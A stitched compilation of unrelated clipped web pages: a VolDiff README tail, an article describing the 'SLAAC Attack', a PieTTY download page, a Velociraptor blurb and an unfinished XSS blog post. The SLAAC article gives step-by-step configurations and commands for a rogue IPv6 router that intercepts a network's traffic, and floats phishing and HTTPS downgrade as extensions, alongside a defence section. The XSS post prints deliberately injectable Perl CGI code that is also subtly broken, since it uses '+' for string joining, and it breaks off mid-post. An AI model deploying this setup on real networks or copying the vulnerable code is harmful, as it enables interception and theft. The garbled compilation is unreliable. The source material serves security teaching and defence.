    callbacks
    
    
[/code]

##  Recomended Options

A number of options is available in VolDiff and can be used as follows:

[code]

    ./VolDiff.sh path/to/baseline.vmem path/to/infected.vmem profile [Options]
    
[/code]

The recommanded options to use with VolDiff are:

`--process-checks` : check process parent/child relationships, execution path,
unusual loaded DLLs etc.

`--registry-checks` : spot changes in registry keys that are commonly used by
malware for persistence.

`--string-checks` : search for suspicious strings in memory \(IPs, domains,
emails etc\).

The options above are experimental \(may generate false positives\), and will
slow down VolDiff execution.

Use `--help` to view all the available options:

[code]

     ./VolDiff.sh --help 
[/code]

##  Licence

Free open source software.

Tested using Volatility 2.4 \(vol.py\) and Windows 7 memory images.

##  Feedback and bugs

Please submit feedback, report bugs, or send ideas that you want to see
implemented to houcem.hachicha\[@\]gmail.com.

VolDiff is maintained by aim4r. This page was generated by GitHub Pages using
the Cayman theme by Jason Long.

# SLAAC Attack – 0day Windows Network Interception Configuration Vulnerability | InfoSec Resources
**Created:**| _4/14/2011 3:18:37 PM_  
---|---  
**Updated:**| _4/14/2011 3:18:37 PM_  
**Author:**| __  
**Tags:**| _attacks ipv6_  
  

  * ### About The Author
    * <img src='img/Temp2_7151.png' width='64' height='64' />Alec Waters
    * Alec Waters is a security researcher for InfoSec Institute and network security specialist working for Dataline Software in the UK. Working with defense and healthcare clients, his focus is on incident response, network forensics and secure infrastructure design.
  * ### Recent Comments
    * Alec Waters on SLAAC Attack – 0day Windows Network Interception Configuration Vulnerability
    * Mourad on Malware Analysis: Classifying with ClamAV and YARA
    * Stéphane Bortzmeyer on SLAAC Attack – 0day Windows Network Interception Configuration Vulnerability
    * washam on SLAAC Attack – 0day Windows Network Interception Configuration Vulnerability
    * SLAAC Attack – 0day Windows Network Interception Configuration Vulnerability | InfoSec Resources on Ethical Hacking Training – InfoSec Hacking Boot Camps

## SLAAC Attack – 0day Windows Network Interception Configuration
Vulnerability

April 4th, 2011|By: awaters|Topics: |17 Comments

  

## Windows machines compromised by default configuration flaw in IPv6

As anyone who has watched the reimagined Battlestar Galactica will tell you,
Sixes are trouble. They are undoubtedly alluring, but all the while they are
working covertly, following The Plan, right under the noses of their targets.
Nobody realizes the true nature of the threat until it’s too late.

The Internet also has its own Six, IPv6 \(formerly IPng – IP Next
Generation\). Modern operating systems ship with it by default, but adoption
has been slow for many reasons. Despite the passing of the IPocalypse, it lies
largely dormant within today’s networks, waiting for the chance to rise up and
usurp its IPv4 predecessor.

This article describes a proof of concept of an interesting application of
IPv6. I’m going to show you how to impose a parasitic IPv6 overlay network on
top of an IPv4-only network so that an attacker can carry out man-in-the-
middle \(MITM\) attacks on IPv4 traffic.

This new **SLAAC Attack** , if you will, is named for the process it is
exploiting.

## IPv6 Background

Aside from the increased address space, IPv6 is fundamentally different to
IPv4 in several key areas. This article isn’t intended to be an IPv6 primer,
but I’ll highlight the main features that are relevant to the attack.

Firstly, IPv6 does not use ARP – instead, there are a set of neighbor
discovery protocols implemented over ICMPv6 that allow hosts to discover the
physical addresses of others on the local link. Also, routers routinely
advertise their presence on the local link by multicasting Router
Advertisement \(RA\) messages.

When an IPv6-aware host receives an RA, it can derive itself a valid routable
IPv6 address by means of a process called Stateless Address Auto Configuration
\(SLAAC\). The host will use the source address of the RA as its default
gateway.

In as much as it facilitates automatic host addressing, SLAAC sounds a lot
like DHCP in the IPv4 world. However, SLAAC alone can’t supply all of the
configuration parameters that a host might need \(DNS servers, for example\),
so DHCPv6 is still needed to fill the gaps. It turns out that you need RA,
SLAAC and DHCPv6 to accomplish for IPv6 what DHCP alone can do for IPv4, but
that’s another story.

## Theory of Operation

This proof of concept targets Windows 7 hosts, but the theory ought to apply
to any operating system that ships with IPv6 installed and operational by
default. Let’s start with a diagram of the target network:

<img src='img/Temp2_7158.png' />

Pretty straightforward stuff; everything’s IPv4, and the border router is
performing the usual NAT and firewall tasks. Let’s also assume that various
countermeasures are in place to thwart conventional IPv4 MITM techniques such
as ARP spoofing.

What we’re going to do is physically introduce a router, evil-rtr, to the
target network. evil-rtr has two network interfaces – the victim facing
interface is IPv6 only, and the Internet connected interface is IPv4 only. Our
aim is to use evil-rtr to create a parasitic IPv6 overlay network that’s
totally under our control, as shown by the tinted area in the diagram below:

<img src='img/Temp2_7153.png' />

evil-rtr will send RAs to the local network which will cause the hosts to
derive routable IPv6 addresses for themselves. It is also equipped with a
DHCPv6 server to supply the address of a recursive DNS server that’s under our
control \(evil-DNS in the diagram above\). What we have _not_ done is connect
our IPv6 overlay network to the IPv6 Internet – evil-rtr only has a connection
to the IPv4 Internet.

## The Special Sauce

The changes made by introducing evil-rtr are pretty benign so far. Thanks to
evil-rtr’s RAs, all the target hosts have routable IPv6 addresses in addition
to their IPv4 ones, plus the address of a DNS server. This isn’t enough to do
anything useful – we need another ingredient to progress the attack.

The “special sauce” is NAT-PT, an idea that’s so riddled with issues and
caveats that it’s been consigned to the trashcan of history by the IETF.
However, just because it’s an obsolete mess doesn’t mean it can’t be useful.

NAT-PT is one of the many IPv4-to-IPv6 transition mechanisms that have been
devised to ease migration from the old to the new. Its job is to allow islands
of IPv6 hosts to communicate with IPv4 hosts by translating IPv6 addresses
into IPv4 addresses and vice versa. There’s a writeup here that shows its
intended operation. It’s NAT-PT that allows our IPv6-addressed victims to
access the Internet through evil-rtr’s IPv4 interface.

To use NAT-PT you need to define an off-link /96 prefix; it can be pretty much
any routable prefix you like. Any destination addresses seen by NAT-PT which
match this prefix are interpreted as IPv6 addresses with a destination IPv4
address embedded in the last 32 bits.

<img src='img/Temp2_7157.png' />

For example, I might tell my NAT-PT box that the prefix I’m using is
2001:6f8:608:ace::/96. The IPv6 address of the DNS server that we’re going to
give out via DHCPv6 is 2001:6f8:608:ace::c0a8:5802 – this address matches the
specified prefix, so if NAT-PT sees traffic destined for it the last 32 bits
\(c0a8:5802\) will be extracted and translated into the DNS server’s true IPv4
address of 192.168.88.2.

## The Garnish on the Special Sauce

We’re nearly there. With NAT-PT in place, evil-rtr is now providing a working
path from the IPv6 victims to the IPv4 Internet. If we can cause the victims
to pump IPv6 traffic through evil-rtr \(instead of sending IPv4 through the
legitimate border router\) we can have our SLAAC Attack fun. It turns out that
this is quite straightforward.

Thanks to evil-rtr, our victims have both IPv4 and IPv6 addresses; they are
“dual stacked”. Dual stacked hosts will prefer to use native IPv6 where
available, so we’re half way there already. The final garnish that will take
us the rest of the way is DNS.

The dual stacked victims have an IPv4 DNS server \(courtesy of the legitimate
DHCP server\) and an IPv6 DNS server \(courtesy of evil-rtr’s DHCPv6 server\).
When one of the victims tries to look up www.google.com, it will send a DNS
query to its IPv6 DNS server for both A \(IPv4\) and AAAA \(IPv6\) records. If
the IPv6 DNS server can return results in a timely enough fashion, the victim
will pick the IPv6 address over the IPv4 one if the former is present. It is
this behaviour we will rely on to lure traffic through evil-rtr. Our IPv6 DNS
server has to be quick, though – if it takes too long to reply, the victim
will fall back to using the legitimate IPv4 DNS server instead, and no traffic
will pass through evil-rtr.

But how can we make sure that any given DNS query always returns an IPv6
address?

NAT-PT implementations usually include a set of Application Layer Gateways
\(ALGs\) which inspect traffic that has IP addresses carried within the
application layer protocol. DNS is an example of a protocol that requires an
ALG, as is FTP. Here’s what the IPv6 DNS transaction looks like with NAT-PT
and the DNS ALG working their magic:

<img src='img/Temp2_7156.png' />

Things to note:

  * The address of the victim’s DNS server matches the NAT-PT prefix on evil-rtr, denoting that the last 32 bits contain the DNS server’s IPv4 address.
  * NAT-PT translates the source and destination IPv6/IPv4 addresses in both directions.
  * The DNS ALG translates the victim’s AAAA query for an IPv6 address into an A query for an IPv4 address and vice versa on the way back.
  * The DNS ALG also translates the IPv4 address in the reply to an IPv6 address that matches the NAT-PT prefix.

As far as the victim is concerned, www.google.com is reachable via IPv6 at
2001:6f8:608:ace::d155:8f63. It has absolutely no idea that IPv4 is involved
in any way. The victim will therefore contact Google like this:

<img src='img/Temp2_7152.png' />

evil-rtr is therefore now a man-in-the-middle between the victim and Google.

To summarize the story so far:

  * We have _not_ compromised or altered the operation of the victim’s IPv4 network, as we would have needed to do in order to MITM IPv4 traffic. We’ve not even needed to get an IPv4 address from their DHCP server.
  * We have _not_ compromised an existing IPv6 network, because there wasn’t one before we arrived.
  * We have _not_ compromised any given victim host \(yet\!\). Each machine is behaving as designed and is choosing IPv6 over IPv4 of its own volition.
  * We _have_ managed to totally alter the flow of traffic on the victim’s network by awakening the hosts’ latent desire to use IPv6 over IPv4.

The attack is also reasonably stealthy, since:

  * We’re introducing a new path to the Internet. Any defences or monitoring employed at the network’s IPv4 boundary are therefore ineffective and will raise no indicators of compromise.
  * There’s a chance that the victim’s security systems \(e.g., host firewalls, HIPS, SIEM boxes, etc.\) won’t be able to handle IPv6 traffic. IPv6 support on such systems is rarely as mature as its IPv4 equivalent.
  * Since the victims “aren’t using IPv6″ they won’t be expecting an attack that makes use of it.
  * If the above is true, there’s a chance their Incident Response teams won’t have the necessary training and experience with IPv6 to deal with an incident that uses it.

## Building evil-rtr

It doesn’t take much to implement evil-rtr. Only three packages are needed,
namely radvd, dhcp6s, and naptd. Before we get these up and running, we need
to set up our interfaces. In this example, eth0 is the Internet-facing IPv4
interface, and I’m going to assume that it can use a DHCP server somewhere to
get an address. eth1 is the IPv6 interface, which we’ll configure like this:

root@evil-rtr:~\# ifconfig eth1 inet6 add 2001:6f8:608:fab::1/64  
root@evil-rtr:~\# ifup eth1  
root@evil-rtr:~\# ifconfig eth1  
eth1 Link encap:Ethernet HWaddr 00:25:4b:fd:91:73  
inet6 addr: 2001:6f8:608:fab::1/64 Scope:Global  
UP BROADCAST MULTICAST MTU:1500 Metric:1  
RX packets:0 errors:0 dropped:0 overruns:0 frame:0  
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0  
collisions:0 txqueuelen:1000  
RX bytes:0 \(0.0 B\) TX bytes:0 \(0.0 B\)

We also need to make sure that IPv6 forwarding is turned on:

root@evil-rtr:~\# sysctl -w net.ipv6.conf.all.forwarding=1  
net.ipv6.conf.all.forwarding = 1

Now we can install our IPv6 toys.

## radvd

This package is responsible for sending RAs to our victim hosts, and can be
obtained here. The configuration file is quite straightforward:

interface eth1 \{  
AdvSendAdvert on;  
AdvOtherConfigFlag on;  
MinRtrAdvInterval 3;  
MaxRtrAdvInterval 10;  
prefix 2001:06f8:0608:fab::/64 \{  
AdvOnLink on;  
AdvAutonomous on;  
AdvRouterAddr on;  
\};  
\};

The important parts are the link prefix and the setting for
AdvOtherConfigFlag. Setting this to “on” will set the O flag in the RAs. The O
flag tells a client that it should also try to contact DHCPv6 for further
configuration. Fire up radvd according to the documentation, and move on to…

## dhcp6s

I downloaded the WIDE DHCPv6 server from here. We have very little to hand out
via DHCPv6, so the configuration file has just two lines:

option domain-name-servers 2001:6f8:608:ace::c0a8:5802;  
option domain-name “pwned.by.v6″;

Start it up, and move on to…

## naptd

Get it here. Following the excellent documentation, we need to configure
iptables and ip6tables like this:

root@evil-rtr:~\# ip6tables -A OUTPUT -p icmpv6 –icmpv6-type 1 -j DROP  
root@evil-rtr:~\# ip6tables -A FORWARD -d 2001:6f8:608:ace:: -j DROP  
root@evil-rtr:~\# iptables -A INPUT -i lo -j ACCEPT  
root@evil-rtr:~\# iptables -A INPUT -m state –state ESTABLISHED -j ACCEPT  
root@evil-rtr:~\# iptables -A INPUT -m state –state NEW -p tcp -m tcp –dport
22 -j ACCEPT  
root@evil-rtr:~\# iptables -A INPUT -j DROP

Then we can run napt-confmaker. I answered pretty much every question with the
default answer, apart from the interface selections and the NAT-PT prefix.

Once we start naptd running, the trap is set.

## The Attack

This is what the output of ipconfig looks like on the victim host before evil-
rtr’s IPv6 interface is connected to the network:

Ethernet adapter Local Area Connection:  
Connection-specific DNS Suffix . :  
Description . . . . . . . . . . . : Atheros AR8131 PCI-E Gigabit Ethernet
Controller \(NDIS 6.20\)  
Physical Address. . . . . . . . . : 00-26-9E-47-4E-0F  
DHCP Enabled. . . . . . . . . . . : Yes  
Autoconfiguration Enabled . . . . : Yes  
Link-local IPv6 Address . . . . . : fe80::119c:ea76:23d4:290d%10\(Preferred\)  
IPv4 Address. . . . . . . . . . . : 192.168.0.2\(Preferred\)  
Subnet Mask . . . . . . . . . . . : 255.255.255.0  
Lease Obtained. . . . . . . . . . : 30 March 2011 23:23:08  
Lease Expires . . . . . . . . . . : 31 March 2011 13:55:33  
Default Gateway . . . . . . . . . : 192.168.0.251  
DHCP Server . . . . . . . . . . . : 192.168.0.251  
DHCPv6 IAID . . . . . . . . . . . : 285221771  
DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-12-52-C9-D5-00-26-9E-47-4E-0F  
DNS Servers . . . . . . . . . . . : 192.168.0.251  
NetBIOS over Tcpip. . . . . . . . : Enabled

The presence of a link-local IPv6 address confirms that the host is
IPv6-capable. Once we connect evil-rtr’s eth1 interface, the victim host sees
the RAs, derives a routable IPv6 address for itself, then queries DHCPv6 for
further configuration. Almost immediately, the output of ipconfig will change
to look like this:

Ethernet adapter Local Area Connection:  
Connection-specific DNS Suffix . : **pwned.by.v6  
** Description . . . . . . . . . . . : Atheros AR8131 PCI-E Gigabit Ethernet
Controller \(NDIS 6.20\)  
Physical Address. . . . . . . . . : 00-26-9E-47-4E-0F  
DHCP Enabled. . . . . . . . . . . : Yes  
Autoconfiguration Enabled . . . . : Yes  
IPv6 Address. . . . . . . . . . . :
**2001:6f8:608:fab:119c:ea76:23d4:290d**\(Preferred\)  
Temporary IPv6 Address. . . . . . :
**2001:6f8:608:fab:687a:83f:caa7:8f9c**\(Preferred\)  
Link-local IPv6 Address . . . . . : fe80::119c:ea76:23d4:290d%10\(Preferred\)  
IPv4 Address. . . . . . . . . . . : 192.168.0.2\(Preferred\)  
Subnet Mask . . . . . . . . . . . : 255.255.255.0  
Lease Obtained. . . . . . . . . . : 30 March 2011 23:23:08  
Lease Expires . . . . . . . . . . : 31 March 2011 13:55:33  
Default Gateway . . . . . . . . . : **fe80::225:4bff:fefd:9173** %10  
192.168.0.251  
DHCP Server . . . . . . . . . . . : 192.168.0.251  
DHCPv6 IAID . . . . . . . . . . . : 285221771  
DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-12-52-C9-D5-00-26-9E-47-4E-0F  
DNS Servers . . . . . . . . . . . : **2001:6f8:608:ace::c0a8:5802**  
192.168.0.251  
NetBIOS over Tcpip. . . . . . . . : Enabled  
Connection-specific DNS Suffix Search List : **pwned.by.v6**

It’s game over for the poor victim host:

  * It has routable IPv6 addresses of its own
  * It has an IPv6 default gateway, which is actually the link-local address of evil-rtr’s eth1 interface rather than the address we manually gave it earlier on.
  * It has an IPv6 DNS server whose address matches the NAT-PT prefix used by naptd, and which will be translated into the IPv4 address of evil-DNS.

We have successfully awakened the victim’s latent desire to use IPv6 in
preference to IPv4. We’ve not needed any passwords, hacks or brute force. All
we had to do was nudge the victim in the right direction.

## Poetry in Motion

When the victim browses to www.google.com, evil-rtr’s IPv6 eth1 interface sees
this \(download capture\):

<img src='img/Temp2_7155.png' />  
You can see the DNS queries sent via IPv6 to evil-DNS; both A and AAAA queries
are sent, and IPv4 and IPv6 addresses delivered in response. Note that the
returned IPv6 address matches our NAT-PT prefix, indicating that it has an
embedded IPv4 address. The victim will choose to use this IPv6 address over
the IPv4 one; evil-rtr is the man-in-the-middle.

The same transaction on evil-rtr’s IPv4 eth0 interface looks like this
\(download capture\):

<img src='img/Temp2_7150.png' />

Note that all the IP addresses are IPv4, and all the DNS queries are all for A
records instead of the mix of A and AAAA that we saw on eth1.

## Developing the Attack further

There are several things we can do to take the attack further:

  * Given that this attack uses implanted hardware, we can make it really really tiny. Gumstix is an ideal platform; they’re small, they run Linux, and there’s a wide range of hardware on offer. An Overo Earth, a Tobi, and a 3G USB stick would give you a very small platform with an Ethernet interface to attach to the target network and an autonomous Internet connection. I’ve used Gumstix before; once you’ve got the build environment set up, the world’s your oyster.
  * We control evil-DNS, so we can make it return any IP address we like for www.google.com, thereby opening up numerous opportunities for phishing.
  * In its current state, evil-rtr will MITM _all_ traffic that is the result of a DNS query; this isn’t exactly subtle. If we can make evil-DNS return addresses only for sites of interest we can be a good deal more selective. If we can make evil-DNS ignore requests we don’t care about, the victim will fall back to their IPv4 DNS server and traffic will flow as normal.
  * As we are the man-in-the-middle, we have the opportunity to interfere with the traffic between the client and the server. We could inject malicious iframes, change https:// links to plain old http:// links, etc, etc.
  * <insert other creative evil here>

## Defending against evil-rtr

The attack is possible because we were able to inject RAs onto a network of
IPv6-capable hosts – the key differentiators between this attack and other
similar ones is that we are _not_ trying to subvert an existing IPv6 network;
we are instead trying to build a _new_ one out of nothing. Nevertheless, our
rogue RAs were the catalyst for the successful attack. If we can stop them in
their tracks, the attack will go nowhere.

Most of the time, rogue RAs are nothing more than a nuisance, often generated
as a result of something as simple as turning on Windows’ Internet Connection
Sharing. However, it is a serious enough issue for the IETF to put together
RFC6104, the “Rogue IPv6 Router Advertisement Problem Statement”. This
document is more concerned with brokenness caused by “accidentally-rogue” RAs
than it is with security issues, but Section 3 gives a useful list of
mitigation techniques. Sadly, most of these are difficult to employ either due
to the lack of a suitable implementation \(e.g., SEND\), or a lack of capable
hardware \(e.g., RA Guard or switch ACLs\). Cisco also have some tips on first
hop security here and here.

If the attack can’t be prevented by the methods listed in RFC6104, perhaps it
can be detected instead. NDPMon is an IPv6 equivalent to ArpWatch and is
designed to detect suspicious neighbour/router discovery traffic.

However, neither RFC6104 nor NDPMon will help to defend against a SLAAC
Attack. Why would anyone deploy IPv6 countermeasures when they “aren’t using”
IPv6? A SLAAC Attack targets IPv6-capable IPv4 networks, not native IPv6 or
dual stack ones. The most effective defence is simply to disable IPv6 on all
capable hosts if there’s no business reason to use it:

<img src='img/Temp2_7154.png' />

This is in complete alignment with the “Minimized” principle of the Defensible
Network, but doesn’t exactly foster the accelerated adoption of IPv6. I know
which way I’d jump\!

# PieTTY \(pputty\): piaip's PuTTY extension Project

**Created:**| _7/3/2010 1:48:02 PM_  
---|---  
**Updated:**| _7/4/2010 8:02:20 AM_  
**Author:**| _wishi_  
**Tags:**| _commandline-kungfu windows environment awesome_  
  

Skip to main content.

Related Sites: Official PuTTY | My personal website |
# PieTTY

\{ piaip's PuTTY extension Project \}

  

Navigation: »Download 下載 | Donate\! | Contact | PuTTY
This page’s menu:

  * Main \(CH\)
  * Donate\!
  * Download
  * TODO \(EN\)
  * Plans \(CH\)
  * FAQ \(CH\)

# Downloads 下載

* * *
Stable Release: 06/14/2005

PieTTY 0.3.27

  * MD5: 1533c60d6a9fda4715eaf88d89c05dc0

Known Issue 已知問題:

  * 第一次使用 PieTTY 時，若直接選 PuTTY 舊設定會連線失敗。 請先隨便手動打入某些 IP 並建立連線後即可正常使用。 \(fixed in 0.4\)
  * Esc\[1;11m" 這樣的 ANSI 控制碼\(關鍵在 m 後面直接加 "\)在 Big5 mode 不開 Internal UCS 會導致 中文全部被拆開來變 ASCII 處理 \(PuTTY 也會\)，是否算 PuTTY 的 bug 或 feature 未確認。
  * PieTTY 由於有不少圖形加速快取處理的部份， 若使用中變換系統色彩數目（常發生於使用遠端桌面）則很容易會出問題
  * 在標題列用右鍵開啟右鍵選單\(Context Menu\)要開啟兩次才有作用， 第一次選任何功能都會無反應。
  * 切換字元編碼 \(Encoding/Charset\) 後並不會即時對畫面產生影響， 請更新\(refresh\)已顯示內容或是重新多打幾個字試試。
  * 漢字轉換的表格由於簡化字與正體字一對多的關係，之前使用 autrijus 的 perl 表格時似乎沒把優先順序問題處理好， 使用時請自行小心，以後的版本會再人工審閱。 目前已知轉換不良的字: 鬆 盃 \(fixed in 0.4\)
  * 對於某些 codepage 的 Windows, 第一次執行會變成黑底黑字... 請先選 codepage 為 UTF8 或 System default etc. \(fixed in 0.4\)

* * *
下面是最新的測試版，但不建議新手使用。  

Beta Release: 06/23/2010

PieTTY 0.4.00b6 \(beta-6\)

  * The 0.4 series is based on PuTTY 0.60, and bug fixes for PieTTY 0.3.x  
0.4 是更新至 PuTTY 0.60 核心的修正版

  * \(b1+\) Fixed more BIG5 characters  
修正了漢字轉換表格 \(thanks to zcecil\), 已能正常處理: 鬆 盃 尬 等字

  * No SCP in 0.4 beta builds  
暫時不提供 scp/sftp 上傳檔案的能力

  * \(b4+\) NEW: You can toggle the prompt of '\*' in password now, by menu: "View / Prompt Password as \*"  
此版起可以設定輸入密碼時是否要顯示 '\*' 號，從 menu 裡可以設定

  * \(b5+\) NEW: EUC-JP now on menu\!  
選單裡現在可選用 EUC-JP 日文編碼了

  * \(b3+\) Fixed some messages, like taskbar menu on win7, fullscreen scrollbar \(thank to priv\)
  * \(b2+\) Changed code page settings detection - so you will need to reconfigure the encoding for each session. Really sorry about that.  
由於要修正之前對於字元集產生的種種問題，0.4 會使用跟 0.3 不同的字元集設定。
你可能要為部份連線記錄重新修改字元集\(charset/encoding\)的設定。

  * \(b4+\) Fixed: first time running on English Windows, the screen goes to whole black or strange symbols  
修正在非預設 CJK 的系統上，首次執行會畫面全黑或是一堆怪符號的問題

  * \(b4+\) Fixed: first run with PuTTY sessions, the connection would fail  
修正在只用過 PuTTY 的系統上第一次執行時無法連線的問題

  * \(b6+\) NEW: "Reconnect" on Connection menu when your connection was dropped\!  
斷線後連線選單上可按「重新連線」了\!

  * \(b6+\) NEW: support magnet:? URN  
支援 magnet:? 鏈結

* * *
* * *
以下為舊版本：

* * *
Stable Release: 06/14/2005

PieTTY 0.3.27 **0.3 series Final Release**  
URL 相關\(跨行顯示與其它\)修正  
半透明顯示方式增為三種繪製方式以配合各種硬體  
修正 Big5 日文片假名 A I 的轉碼錯誤  
Big5 下輸入日文時也會自動轉碼\(等於全套的 unicode 補完\)  
Big5 字碼表改用相容於 Unicode 補完2.40的 Big5-2003+中國海字集  
內建簡易中文簡繁轉換，使用 autrijus 的表格。  
URL char selection on MB and UCS mode is synced  
Window Borderless mode and lots of related UI update  
Now can keep last window position  
Association\(Integration\) with 'telnet  
New Multilingual Display Engines: Uniscribe and MLang ,  
在 Windows 下 可以同時顯示非系統預設的語系，如在英文 Windows 上設英文字型 並同時顯示中文與韓文。  
Faded Window Drop shadow\!\!\!  
剪貼方式加強方便性，增加 MIRC 控制碼， BBS 與 IRC 互貼彩色不是夢！  
Fixed menu non-funcional in captionless mode  
修正:  
跨行的網址在 hover 時只會有第一行顯示效果，可是按下去其實會自動跨行。  
Big5 日文片假名的 A I 顯示錯誤  
Big5 日文假名無法正確剪貼或輸入  
Big5 模式與 UTF8 模式對於超連結的判斷不同,  

* * *
Stable Release: 04/06/2005

PieTTY 0.3.25 **Stable Release**  
Based on PuTTY 0.58 Release  
Imported latest PuTTY Unicode 4.0 width table  
Fixed cross-line href supporting  

* * *
03/25/2005

PieTTY 0.3.23 **Stable Release**  
Support Copy with AnsiSeq 剪貼ANSI控制碼  
Blur shadow effect  
Auto disable HREF in selection mode  
Important hacks now commited into official PuTTY.  
Imported latest PuTTY Unicode 4.0 width table  
\(SpecialBuild\) Compiled by Intel C++8.1 w/fully optimized  
Fixed SCP upload port bug  
Support AnsiSeq "in" DBCS 一字雙色\(終於...\)  
Dupe session codepage bug  
Moved some global options to sessions  
Fixed 0.3.20 Big5Kana code error: like '觀'  

* * *
03/16/2005

PieTTY 0.3.20 **Stable Release**  
Performance Tuning: stable, smooth, and faster than ever\!  
Href now with hover,cursor color option, and broken line support  
Fixed irssi bug when no term\_charset was assigned.  
Fixed SCP upload account bug  
**Fixed a GDI leak bug. Please upgrade\!**  
Fixed IME small font bug  
Block cursor is now green again  
Title will not be auto-saved if altered by term  
fixed ugly '\' in utf8 mode  
customizable href visual effects  
fixed bug: crash when Reconf was called twice  
fixed bug: charset encoding selection display  
changed: size on title can be toggled  
fixed bug: title becomes empty when resizing  
fixed bug: classic putty mode still saved sessions  
changed: default title behaviour  
fixed bug: session with common names  
fixed bug: title always have ' \- PieTTY'  

* * *
02/27/2005

PieTTY 0.3.11 可處理 ssh://  
提高輸入主機名稱處長度上限  
SCP Drag-n-drop Upload is back\!\(Not rich GUI\)  
增加轉換與顯示 Big5 日文假名字元  
無標題列模式  
可選用傳統 PuTTY 界面等等, bug fix  

* * *
02/22/2005

PieTTY 0.3 PieTTY 的第一個版本，主要以中文修正與架構改變為主，但無超鏈結支援。

* * *
03/03/2005

pputty 0.2.4 final English pputty 0.2.4 最終中文版 pputty 0.2.4 final Source pputty
0.2.3 的源碼\(Source\) 於 2004 夏天就不再修改，這裡提供了我最後的版本。  
注意: 由於 0.2.3 發佈後 PuTTY 有提出兩項 security patch, 所以 pputty 0.2.4版 就是 0.2.3 加上這兩項
patch。 由於整個計畫已改至 pietty ，所以這裡也不再提供新功能的追加。  
這個版本的 code 寫得很不漂亮，我知道。 有些地方可能有問題，我也知道。 因為簡而言之 pputty 是一堆 Hack 急就章跟 try out
的集合... 那時對 PuTTY 的架構非常不懂所以一堆亂寫的東西，也所以才會開始 PieTTY project。  
有不滿意的地方你可以自己修改。

* * *
06/16/2004

pputty 0.2.3 English pputty 0.2.3 中文版 修正一些超鏈結的問題，讓一字雙色的字暫時不會破碎太嚴重等等

* * *
05/27/2004

pputty 0.1 English pputty 0.1 中文版 使用 VS.NET2003\(VC7\) 編譯並加上所有 patch/hack 與
pputty UI \(只改了一點點\) 的版本。

* * *
07/31/2003

lputty-20030731 使用 VS.NET2003\(VC7\) 編譯並加上所有 patch/hack 但無 pputty UI。 lcputty
\(Cygwin\) 使用 Cygwin 編譯，有所有 patch/hack，無 pputty UI  
  
Putty 0.53b 使用官方 0.53b 的原始碼，Cygwin 編譯，只加上新注音 patch 及 CP950 Hack  
中文透明 Putty 很早前我做的版本，有中文、透明化，原始碼弄不見了所以不再更新。

**URI »** http://ntu.csie.org/~piaip/pietty/  
For comments or questions about pputty, please email me: Hung-Te Lin
\(piaip\). Page layout by haran.  

# Velociraptor / Dig deeper

**Created:**| _5/18/2021 5:43:46 PM_  
---|---  
**Updated:**| _5/18/2021 5:43:46 PM_  
**Author:**| __  
**Tags:**| __  
  

  

## So what is Velociraptor? __

Velociraptor is a unique, advanced open-source endpoint monitoring, digital
forensic and cyber response platform.

It was originally developed by DFIR professionals who needed a powerful and
efficient way to hunt and monitor activities across fleets of endpoints for
specific artefacts, in a wide range of digital forensic and cyber incident
response investigations such as:

# Cross-Site Scripting \(XSS\) – no script required - Tales from the Crypto

**Created:**| _7/14/2010 7:43:11 PM_  
---|---  
**Updated:**| _7/14/2010 7:43:54 PM_  
**Author:**| __  
**Tags:**| _perl Tutorials xss_  
  

## Cross-Site Scripting \(XSS\) – no script required

I’m going to give away a secret that I’ve successfully used at every interview
I’ve had for a security position.

“Cross-Site Scripting” \(XSS\) is a remarkably poor term for the attack or
vulnerability \(code can be particularly vulnerable to a cross-site scripting
attack\) it describes. The correct term should be “HTML Injection”, because it
succinctly explains the source of the problem, and should provide developers
with pretty much all the information they need to recognise, avoid, prevent,
and address the vulnerabilities that lead to these attacks being possible.

  1. It doesn’t abbreviate well – the accepted abbreviation is XSS, because CSS was taken by “Cascading Style Sheets”
  2. Nobody seems to be able to explain, definitively and without the possibility of being contradicted by someone else’s explanation, whether “Cross Site” means “intra site”, “inter site”, both or neither. Certainly there are examples of attacks which use one XSS-vulnerable page only to exploit a user.
  3. As you will see from the remainder of this post, no actual script is required at all, either on the browser, or on the server. So, disabling script in the browser, or running a tool such as noscript that essentially does the same thing for you, is not a complete solution.
  4. HTML Injection can include injecting ActiveX, Flash, Java, or JavaScript objects into an HTML page.

\[Note that I am not suggesting that prior work into XSS protections is bad,
just that it is not complete if it focuses on JavaScript / ECMAScript /
whatever you want to call it.\]

Failure to understand XSS has led to people assuming that they can protect
themselves by simple measures – disabling JavaScript, filtering “<script>”
tags, “BLOCKED SCRIPT” URLs, and so on. Such approaches have uniformly failed
to work, in much the same way as other “black-list” methods of defeating
attacks on security flaws – it pretty much dares the attacker to find a way to
exploit the bug using something else.

Particularly galling is when I look at code whose developers had heard about
XSS, had looked about for solutions, and had found a half-baked solution that
made them feel better about their code, made the bug report go from
“reproducible” to “cannot reproduce”, but left them open to an attacker with a
little more ingenuity \(or simply a more exhaustive source of sample attacks\)
than they had. It seems that developers often try, but are limited by the
resources they find on the Intarweb – particularly blogs seem to provide poor
solutions \(ironic, I know, that I am complaining about this in my blog\).

### I know all this – give me something new.

Alright then, here’s something that appears to be new to many – a
demonstration of Cross-Site Scripting without scripting.

We all know how XSS happens, right? A programmer wants to let the user put
some information on the page. Let’s say he wants to warn the user that his
password was entered incorrectly, or his logon session has expired. So, he
needs to ask the user to enter username and password again, but probably wants
to save time by putting the user’s name in place for the user, to save on
typing.

Here’s what the form looks like – you’ve all seen it before:

<img src='img/Temp2_1677.png' width='611' height='188' alt='image' />

The code for this form is simple, mostly to make the example easy. I’ll write
it in Perl and Javascript – because the Perl version is exploitable
everywhere, and because the Javascript version demonstrates how DOM-based XSS
attacks work \(and how browser strangeness can cause them to be flakey\).

\[Note: A DOM-based attack, for those that don’t know, is an attack that uses
Javascript to modify the HTML page while it is at the browser’s site. These
are difficult to detect, but generally result from the use of unsafe
functionality such as the innerHTML call.\]

Needles to say – don’t use these as examples of good code – these are EXAMPLES
of VULNERABLE CODE. And lousy code at that.

Perl:

[code]

    use CGI;  
    $query = new CGI;  
    print $query->h1("Session timed out."),
    $query->p("You have been logged out from the site - please enter your username and password to log back in."),
    $query->start_form(-action=>"happyPage.htm", -method=>"get"),
      "Username: <input name=\"username\" value=\"" + $query->param("username") + "\" />",$query->br(),  
      "Password: ", $query->input(-name=>"password",-type=>"password"),$query->br(),
      $query->submit(),  
    $query->end_form();  
    
    
[/code]

BLOCKED SCRIPT

[code]

